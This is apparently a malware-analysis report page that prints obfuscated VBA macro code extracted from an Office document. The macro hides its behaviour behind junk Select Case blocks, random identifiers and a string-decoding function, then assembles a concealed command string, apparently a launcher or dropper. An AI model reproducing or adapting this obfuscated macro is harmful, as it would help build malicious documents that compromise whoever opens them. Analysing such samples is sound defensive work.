zduGdM = Cos(ZVKpiu)
End Select
Select Case VvCpzY
Case 64014
DRNaoi = ChrB(miwXor)
oREjUh = NpVqA
Case 22710
zIKim = Rnd(SSPajR)
wVuzzl = Cos(GlkREA)
End Select
oFzBSJHiEpF = rIoNYF("t,UccDAkBQNAIDA4AQZAYDAwAQZAkDAmBAZAUDAhBgYAEGAiBAOAEDA5AwNAADAwAAZAEGAmBQOAQDA2AAZAYGAiBQOAIDAkBgZAUGA1AQNAIGA4AQZAgDA1AQYAMGAhBwNAQDAkBAOAMDAzAQNAEGA1AgYAEDA2AgZAYGAkBgYAcDA5AwNAYDA5AgYAMqB1", 4 + 0, 185 + 0)
Select Case pcskoT
Case 54514
VmpCtV = ChrB(BizCF)
suVqO = vMXtdm
Case 34320
pXprwz = Rnd(zIJzs)
jkGRC = Cos(cwiWua)
End Select
Select Case OLFAJ
Case 41669
ScBGb = ChrB(ptNow)
VzMJiE = cWTFDX
Case 26428
wqwVKi = Rnd(wIWfmO)
BcFndV = Cos(BBbvj)
End Select
piIlmqWq = rIoNYF("AuH7nEXcDA0AQNAUGA2AAMAYGAmBAMAkDAkBQZAMGAhBwNAcDA0AwMAMDAzAgMAkDAzAANAIDAk5%", 3 + 0, 68 + 0)
Select Case iwWzjN
Case 67903
DPSnDp = ChrB(DnwSO)
UrAQts = uoWZi
Case 71896
zlYwY = Rnd(vzNmzZ)
UwOddR = Cos(JHWhp)
End Select
ljdiAKiJpw = kvJpmVvQ + dzPstJSnAR + YDsljqiLTQ + Chr(34) + BtjsWdNRT + wQzHsLYNw + WhcWnGN + ilBBzjNiSzE + JCvpIR + zdLikHzsORB + ibzIt + SORBm + rVVRMMOr + HjlVHKUN + AqRpw + DzqdUM + JMtoNZWnK + bpQWPcsv + RMztGujR + cnRYij + oFzBSJHiEpF + oLUfYoUuK + wlwRs + vDiipXlw + RBHFCw + fvLXui + ZUiIkf + bwRIPSFkJaK + JBDLH + piIlmqWq + UKvYFzov + bBJCdK + VVAXDS + AiUdbrEVJ + wOjLTVtRbO + QlKnvqLcz + AoECCZbc + UIHkhMs + kBaXXiHw + cZEPvBdLG + HSaLfwUm + GzSLCjNJMl + zAYEPVppbrh + sojsoWj + jPwZvhjiqs + wRPrGtlwH + YqAOYPDk + quIUcwRwMqP
Select Case kwZtv
Case 24072
ssPrGD = ChrB(ziUsq)
sTjAb = iLmdJQ
Case 42239
sBpwz = Rnd(lvICWv)
iuoIUa = Cos(UQPZS)
End Select
End Function
Attribute VB_Name = "lPjlSQptwvK"
Function YDsljqiLTQ()
On Error Resume Next
Select Case XiqpK
Case 89985
sEIhX = ChrB(zXzNJ)
NbiFA = vUiQn
Case 16281
RFjwq = Rnd(BfhwBR)
MwKkRV = Cos(cIYpZ)
End Select
BXMLWImtcz = rIoNYF("IwIoV=%jnWLmXE", 4 + 0, 6 + 0)
Select Case UOaYbR
Case 110
GRQbH = ChrB(Irfch)
FIzJzw = wuIjt
Case 44241
cmFIW = Rnd(RkFiuJ)
DEkcw = Cos(lkLPR)
End Select
Select Case zJKbvc
Case 41922
JckvE = ChrB(BMqunl)
pkzPc = HPMULC
Case 10088
CwqEHz = Rnd(PVOuIP)
oEjDw = Cos(JZLLS)
End Select
flEjLq = rIoNYF("nq%wpJiKdv6kP8", 7 + 0, 6 + 0)
Select Case OkzIYs
Case 98433
wPApj = ChrB(ZaOkVT)
AbHoIE = cdlima
Case 67135
RNpCJ = Rnd(HYErW)
viKbp = Cos(BNIpUQ)
End Select
Select Case TJiSw
Case 629
qoWvV = ChrB(fjaCX)
UBtCJR = SOzTN
Case 17298
KWtpO = Rnd(jkirk)
jtbWhR = Cos(kWOaGU)
End Select
auXViM = rIoNYF("mFN% te5uIn54a&&r^e=%M5uIn54a7UfoU2", 7 + 0, 15 + 0)
Select Case YilsV
Case 17230
TLJqkn = ChrB(EjSBS)
ijqrPB = YfvwnV
Case 25991
zwqWbo = Rnd(iSjzd)
jmvYol = Cos(sstcT)
End Select
Select Case kUdSsj
Case 57827
suHlW = ChrB(GLFhD)
ZDXJY = FQCYK
Case 28783
AZbFC = Rnd(iLCnk)
PKKWj = Cos(IbBIh)
End Select
nmPWWbvbD = rIoNYF("f4djl% te5uIn54aiWpj9p", 7 + 0, 8 + 0)
Select Case UuXaNz
Case 38561
siWdfF = ChrB(fUEWQ)
GIJvuS = BnBrs
Case 57994
IiIwDS = Rnd(Jhnjqd)
dHzmR = Cos(OlNfT)
End Select
Select Case raNTN
Case 60505
wlMlHw = ChrB(MZMPi)
GfXimI = ttLPY
Case 61364
akdzBM = Rnd(OoQpBi)
LKXLRp = Cos(MDfjE)
End Select
diHpwz = rIoNYF("V7QRJVQwM% te5uIn54a&&!qZji", 5 + 0, 14 + 0)
Select Case nCZwM
Case 53883
icvONR = ChrB(srGsl)
QiioEH = jNjwRz
Case 84695
LOTcZj = Rnd(jPIwz)
XVwmv = Cos(DFUlsF)
End Select
Select Case hiWza
Case 80634
imfqXn = ChrB(VSYch)
jowzsz = KSzuwk
Case 28190
nfZkv = Rnd(TzOzcY)
CCjiU = Cos(othWGc)
End Select
wvtjw = rIoNYF("pJWwN%!!%LUXwLWn%!&&EodGv", 6 + 0, 18 + 0)
Select Case aLols
Case 74385
Hinwr = ChrB(sQohAQ)
FIQQL = zZWFIS
Case 16377
PHKdHp = Rnd(OUPhqi)
YEzWqC = Cos(SvYZO)
End Select
Select Case lsKJNd
Case 11674
SzzaV = ChrB(LUtzd)
hUhvdq = EhdIq
Case 99371
MZMipA = Rnd(QdvzZD)
BcWjj = Cos(LQKPj)
End Select
PRsvpB = rIoNYF("N4k15uIn54a&&ehzL", 3 + 0, 5 + 0)
Select Case cBjoo
Case 17449
holILK = ChrB(UQqmvD)
bCEHcG = dvPwBS
Case 44767
joGqz = Rnd(kQULW)
CuaXT = Cos(kBwihL)
End Select
Select Case rbucAS
Case 50285
zNCPLO = ChrB(Wpnbw)
PaRTP = ZdGzQU
Case 22648
TrcAF = Rnd(ZiUhvZ)
cYvci = Cos(dbAcJl)
End Select
ahYjOaL = rIoNYF("uCFPBOQj%!!%jbU", 3 + 0, 9 + 0)
Select Case ATsOmu
Case 99155
niMmWE = ChrB(lFkYqj)
FLWlVh = TOTPat
Case 10269
GuAZLp = Rnd(jqIvhq)
skuvCN = Cos(sBZRBT)
End Select
Select Case pILiS
Case 42647
IvqwBU = ChrB(qLaihQ)
QsvIGR = IJRUz
Case 15388
InQbn = Rnd(IYIzk)
TSDLAD = Cos(UZQPVM)
End Select
PHSLZz = rIoNYF("kjrS63ll=%uaQjBS", 2 + 0, 9 + 0)
Select Case UzmYi
Case 5174
ShXJH = ChrB(EnsjwY)
wCFwQQ = nksXv
Case 29128
rImjTh = Rnd(AkfBt)
rhhjR = Cos(hGSunI)
End Select
Select Case WJhEc
Case 57988
qNSZu = ChrB(rwuXo)
mUqMq = TJMzvf
Case 58047
fOzGO = Rnd(zYazS)
WzjbO = Cos(pDHqjw)
End Select
orkWccuL = rIoNYF("QBo=%wpJiKAiZ6912p", 7 + 0, 10 + 0)
Select Case TIUIsS
Case 74957
UccAnI = ChrB(SOustb)
Uckjv = aSpiAP
Case 90899
iPhffU = Rnd(WEaaq)
lsvnD = Cos(FosXJ)
End Select
Select Case bdriK
Case 39508
rwOTf = ChrB(rWTWp)
YdFUw = uVJAhb
Case 8099
vphowj = Rnd(thbZhb)
MJoqY = Cos(LdWJu)
End Select
EIVtnHd = rIoNYF("n3HKLTaGiiD% te5uIn54adVYAD5uIn54a", 7 + 0, 13 + 0)
Select Case PzzqOn
Case 29307
bBofX = ChrB(divdu)
McIzM = DwSSTY
Case 87046
TjuqN = Rnd(SZqKUI)
Rbjht = Cos(finqz)
End Select
Select Case pGwBil
Case 56887
blrCHt = ChrB(TwwPW)
HlDBn = wXsscs
Case 4034
RLFuB = Rnd(KNGhCo)
uCilG = Cos(VhVtzr)
End Select
jKfFUFnGHS = rIoNYF("VuR2!!%aWal", 3 + 0, 5 + 0)
Select Case fajsPK
Case 9861
qHrCOs = ChrB(uiVzz)
DVNHWI = ZwSGDK
Case 98030
iOSsjS = Rnd(unisr)
nrXAr = Cos(bFVlt)
End Select
Select Case RsOibM
Case 67783
vAOQJD = ChrB(jTLWu)
ciQnqc = KlIVW
Case 50670
GLLST = Rnd(NbwsX)
NulWK = Cos(uvpKw)
End Select
pwNMbAl = rIoNYF("4CGrjizSl% te,hq,", 5 + 0, 11 + 0)
Select Case ljMWJr
Case 87240
jiEUHt = ChrB(pfBlY)
WPcYP = TbifwN
Case 40465
ksrSEw = Rnd(kipROQ)
FPnZZa = Cos(Tkwtt)
End Select
Select Case OonimH
Case 80888
KBiASQ = ChrB(QzpkLd)
itYAM = YttVi
Case 34029
AXGhkD = Rnd(ivfUh)
QtGIo = Cos(LvKtF)
End Select
RHzIdmUwwav = rIoNYF("WaS8rziG% teQ", 2 + 0, 7 + 0)
Select Case vUKQHJ
Case 33395
kpsqH = ChrB(IJoiOD)
CFiml = RGlqiA
Case 90901
jJNoVD = Rnd(ZaAPBo)
BGbfC = Cos(tOfdV)
End Select
Select Case zrjld
Case 55150
HOwEqY = ChrB(EQdipE)
ElNfJK = YOnWDB
Case 88822
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.